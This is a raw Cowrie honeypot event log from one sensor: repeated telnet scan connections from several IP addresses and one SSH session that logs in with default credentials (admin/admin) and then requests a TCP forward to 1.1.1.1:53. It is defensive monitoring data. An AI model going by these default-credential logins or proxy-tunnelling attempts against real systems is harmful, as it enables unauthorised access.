{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":33812,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a138c99ddf8","protocol":"telnet","message":"New connection: 173.249.44.46:33812 (159.203.135.109:23) [session: 1a138c99ddf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:58.741815Z"}
{"eventid":"cowrie.session.closed","duration":30.754523754119873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:00.044648Z","src_ip":"82.163.78.83","session":"c677aa0128e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89808177947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:00.237113Z","src_ip":"85.208.100.77","session":"3a2e91c0fba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":32768,"dst_ip":"159.203.135.109","dst_port":23,"session":"73fbb332bc5a","protocol":"telnet","message":"New connection: 85.208.100.77:32768 (159.203.135.109:23) [session: 73fbb332bc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:00.360396Z"}
{"eventid":"cowrie.session.closed","duration":31.110162258148193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:00.406285Z","src_ip":"85.208.100.77","session":"e790caa925a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47138,"dst_ip":"159.203.135.109","dst_port":23,"session":"d860675562ff","protocol":"telnet","message":"New connection: 149.102.133.101:47138 (159.203.135.109:23) [session: d860675562ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:00.909053Z"}
{"eventid":"cowrie.session.closed","duration":30.726536512374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:01.060111Z","src_ip":"149.102.133.101","session":"7e0a3cb3b925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd33b67583a","protocol":"telnet","message":"New connection: 116.118.250.81:36490 (159.203.135.109:23) [session: ebd33b67583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:01.182956Z"}
{"eventid":"cowrie.session.closed","duration":30.975224494934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:01.192536Z","src_ip":"85.208.100.77","session":"4d6f08e3016d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e05c863e2a8d","protocol":"telnet","message":"New connection: 149.102.133.101:47140 (159.203.135.109:23) [session: e05c863e2a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:01.265760Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47148,"dst_ip":"159.203.135.109","dst_port":23,"session":"2305509657d4","protocol":"telnet","message":"New connection: 149.102.133.101:47148 (159.203.135.109:23) [session: 2305509657d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:01.908687Z"}
{"eventid":"cowrie.session.closed","duration":30.771809577941895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:02.192853Z","src_ip":"85.208.100.77","session":"658a47d78ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41940,"dst_ip":"159.203.135.109","dst_port":23,"session":"5648b6b92fe3","protocol":"telnet","message":"New connection: 147.135.136.77:41940 (159.203.135.109:23) [session: 5648b6b92fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:02.976797Z"}
{"eventid":"cowrie.session.closed","duration":30.77163052558899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:03.060397Z","src_ip":"173.249.44.46","session":"2c6dd24645ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":49734,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a653ead57c","protocol":"telnet","message":"New connection: 209.126.84.114:49734 (159.203.135.109:23) [session: 37a653ead57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:03.440264Z"}
{"eventid":"cowrie.session.closed","duration":30.53468084335327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:05.232998Z","src_ip":"149.102.133.101","session":"20a299398e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834916830062866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:05.258431Z","src_ip":"85.208.100.77","session":"8225bf2f4aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":40026,"dst_ip":"159.203.135.109","dst_port":23,"session":"bccd68524ca0","protocol":"telnet","message":"New connection: 116.118.250.81:40026 (159.203.135.109:23) [session: bccd68524ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:05.657886Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":50470,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed73df7b679","protocol":"telnet","message":"New connection: 209.126.84.114:50470 (159.203.135.109:23) [session: 2ed73df7b679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:05.815840Z"}
{"eventid":"cowrie.session.closed","duration":30.71275496482849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:06.041256Z","src_ip":"82.163.78.83","session":"94d796e26db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756142616271973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:06.048757Z","src_ip":"147.135.136.77","session":"2e87d3aa8767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.316868543624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:06.207736Z","src_ip":"173.249.44.46","session":"7ae324296fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59824,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d74cfda8a0","protocol":"telnet","message":"New connection: 147.135.136.77:59824 (159.203.135.109:23) [session: 55d74cfda8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:06.217968Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":45444,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b919d37002a","protocol":"telnet","message":"New connection: 46.101.32.143:45444 (159.203.135.109:23) [session: 0b919d37002a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:06.288140Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":45062,"dst_ip":"159.203.135.109","dst_port":23,"session":"198cab1ad248","protocol":"telnet","message":"New connection: 173.249.44.46:45062 (159.203.135.109:23) [session: 198cab1ad248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:07.836868Z"}
{"eventid":"cowrie.session.closed","duration":30.831085443496704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:08.069374Z","src_ip":"149.102.133.101","session":"161da29b9f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":51182,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31d7151ab0c","protocol":"telnet","message":"New connection: 209.126.84.114:51182 (159.203.135.109:23) [session: a31d7151ab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:08.181053Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":52318,"dst_ip":"159.203.135.109","dst_port":23,"session":"4593e9bdfb4e","protocol":"telnet","message":"New connection: 85.208.100.77:52318 (159.203.135.109:23) [session: 4593e9bdfb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:09.331309Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53454,"dst_ip":"159.203.135.109","dst_port":23,"session":"3727717feb6a","protocol":"telnet","message":"New connection: 85.208.100.77:53454 (159.203.135.109:23) [session: 3727717feb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:09.897112Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":51730,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dce394073f6","protocol":"telnet","message":"New connection: 209.126.84.114:51730 (159.203.135.109:23) [session: 5dce394073f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:10.181404Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e3adabca79","protocol":"telnet","message":"New connection: 173.249.44.46:48480 (159.203.135.109:23) [session: 90e3adabca79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:10.327164Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56844,"dst_ip":"159.203.135.109","dst_port":23,"session":"59635ff2cc5b","protocol":"telnet","message":"New connection: 85.208.100.77:56844 (159.203.135.109:23) [session: 59635ff2cc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:11.362107Z"}
{"eventid":"cowrie.session.closed","duration":31.225008487701416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:11.372196Z","src_ip":"209.126.84.114","session":"e43c1a55839a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727731943130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:12.114158Z","src_ip":"85.208.100.77","session":"eaded3a1b58e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561970949172974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:12.166286Z","src_ip":"206.189.139.22","session":"633bb8ea24c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":52584,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdacd27e7e9b","protocol":"telnet","message":"New connection: 209.126.84.114:52584 (159.203.135.109:23) [session: cdacd27e7e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:12.512747Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33532,"dst_ip":"159.203.135.109","dst_port":23,"session":"3138c4b2ba83","protocol":"telnet","message":"New connection: 85.208.100.77:33532 (159.203.135.109:23) [session: 3138c4b2ba83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:13.423217Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33878,"dst_ip":"159.203.135.109","dst_port":23,"session":"613089735275","protocol":"telnet","message":"New connection: 85.208.100.77:33878 (159.203.135.109:23) [session: 613089735275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:13.558342Z"}
{"eventid":"cowrie.session.closed","duration":31.068358182907104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:14.115392Z","src_ip":"81.30.157.18","session":"6897a13b1d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980154752731323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:15.203191Z","src_ip":"173.249.44.46","session":"5bc1f6934b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"5304a5c293e5","protocol":"telnet","message":"New connection: 85.208.100.77:37656 (159.203.135.109:23) [session: 5304a5c293e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:15.318111Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6dc54577d61","protocol":"telnet","message":"New connection: 85.208.100.77:40120 (159.203.135.109:23) [session: e6dc54577d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:16.353467Z"}
{"eventid":"cowrie.session.closed","duration":30.45519757270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:17.065895Z","src_ip":"82.163.78.83","session":"d0ddba0e5bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071284770965576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:17.211509Z","src_ip":"85.208.100.77","session":"df372144a1b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0af9a9909d2","protocol":"telnet","message":"New connection: 173.249.44.46:58816 (159.203.135.109:23) [session: c0af9a9909d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:17.953362Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44732,"dst_ip":"159.203.135.109","dst_port":23,"session":"f83ac06d8911","protocol":"telnet","message":"New connection: 85.208.100.77:44732 (159.203.135.109:23) [session: f83ac06d8911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:18.279425Z"}
{"eventid":"cowrie.session.closed","duration":30.81857395172119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.046882Z","src_ip":"147.135.136.77","session":"2ec07664eb85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565293550491333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.057575Z","src_ip":"149.102.133.101","session":"b3b97c02f385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"32aea7c7e65c","protocol":"telnet","message":"New connection: 82.163.78.83:54952 (159.203.135.109:23) [session: 32aea7c7e65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.062285Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13274,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc28e2f2d4b","protocol":"ssh","message":"New connection: 87.251.64.176:13274 (10.17.0.5:22) [session: ccc28e2f2d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.559994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.564870Z","src_ip":"87.251.64.176","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.665986Z","src_ip":"87.251.64.176","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:19.956707Z","src_ip":"87.251.64.176","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:20.055867Z","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.126354217529297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:20.085380Z","src_ip":"82.163.78.83","session":"eea839f2be52","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:20.154606Z","src_ip":"87.251.64.176","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.916357040405273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:20.240131Z","src_ip":"82.163.78.83","session":"346e2fba2b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:20.260196Z","src_ip":"87.251.64.176","session":"ccc28e2f2d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.151577711105347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:21.131980Z","src_ip":"85.208.100.77","session":"dfe9c095890b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54040,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd6a1a35ea37","protocol":"telnet","message":"New connection: 82.163.78.83:54040 (159.203.135.109:23) [session: fd6a1a35ea37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:21.215794Z"}
{"eventid":"cowrie.session.closed","duration":31.92562246322632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:22.011970Z","src_ip":"85.208.100.77","session":"e5defc101cb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42688,"dst_ip":"159.203.135.109","dst_port":23,"session":"283346ef7191","protocol":"telnet","message":"New connection: 149.102.133.101:42688 (159.203.135.109:23) [session: 283346ef7191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:22.740988Z"}
{"eventid":"cowrie.session.closed","duration":31.148685693740845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:23.908619Z","src_ip":"82.163.78.83","session":"8ee88abe8d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f7c45ebee7","protocol":"telnet","message":"New connection: 85.208.100.77:58752 (159.203.135.109:23) [session: d2f7c45ebee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:24.336374Z"}
{"eventid":"cowrie.session.closed","duration":30.797773122787476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:25.065235Z","src_ip":"82.163.78.83","session":"59808a5f5207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782755136489868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:25.097932Z","src_ip":"82.163.78.83","session":"5598aa0a05db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":60924,"dst_ip":"159.203.135.109","dst_port":23,"session":"b512e88fd827","protocol":"telnet","message":"New connection: 85.208.100.77:60924 (159.203.135.109:23) [session: b512e88fd827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:25.325706Z"}
{"eventid":"cowrie.session.closed","duration":31.025362730026245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:27.219185Z","src_ip":"149.102.133.101","session":"20a4bfadb858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f11e345187b","protocol":"telnet","message":"New connection: 85.208.100.77:37114 (159.203.135.109:23) [session: 2f11e345187b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:27.317647Z"}
{"eventid":"cowrie.session.closed","duration":30.635023593902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:28.056020Z","src_ip":"81.30.157.18","session":"8387708f0721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":39588,"dst_ip":"159.203.135.109","dst_port":23,"session":"988087137f10","protocol":"telnet","message":"New connection: 85.208.100.77:39588 (159.203.135.109:23) [session: 988087137f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:28.347914Z"}
{"eventid":"cowrie.session.closed","duration":30.3458514213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:29.087620Z","src_ip":"173.249.44.46","session":"1a138c99ddf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d135944a3e","protocol":"telnet","message":"New connection: 209.126.84.114:59018 (159.203.135.109:23) [session: f7d135944a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:29.562171Z"}
{"eventid":"cowrie.session.closed","duration":30.154783964157104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:31.063721Z","src_ip":"149.102.133.101","session":"d860675562ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775805711746216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:31.136065Z","src_ip":"85.208.100.77","session":"73fbb332bc5a","protocol":"telnet"}
